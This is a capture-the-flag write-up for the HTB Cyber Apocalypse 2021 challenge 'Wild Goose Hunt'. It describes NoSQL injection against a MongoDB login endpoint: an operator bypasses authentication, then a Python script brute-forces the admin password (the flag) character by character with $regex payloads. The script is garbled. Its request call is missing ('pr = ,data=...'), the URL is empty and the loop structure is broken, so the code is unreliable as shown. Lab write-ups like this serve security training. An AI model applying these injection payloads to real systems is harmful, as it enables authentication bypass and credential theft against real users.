HTB Cyber Apocalypse CTF 2021: Wild Goose Hunt

Wild Goose Hunt is a web-based challenge with the difficulty of 2 stars,

From the source code, it is clear that we have to test the “/api/login” endpoint, Also the database used is mongo. This means we have to perform NoSQL injection,

I tried “$isexists” to make the query true and it worked, I logged in as admin but there was no flag, So I tried “$regex” to know what the password is.

After spending few minutes I figured out that the password is the flag, I started brute-forcing the flag:

I wrote a python script that automates this process:

import requestsimport stringimport jsonurl = ""headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]def get_password(username):    print("Extracting password of "+username)    password = "CHTB"    while True:        for c in possible_chars:            payload = {"username": "admin","password":     {"$regex":password+c+ ".*" }}            print(payload)            pr = ,data=json.dumps(payload), headers=headers)            print(pr.text)    if "admin" in pr.text:        password += c        print(password)    break    if c == possible_chars[-1]:        print("Found password "+password[0:].replace("\\", "")+" for username "+username)get_password("admin")

At the output, we get the flag,

Спасибо :) — Mudhalai Mr Team 1nf1n1ty

<>AKA Gowtham Student at SASTRA Deemed university, Core team member DSC SASTRA </>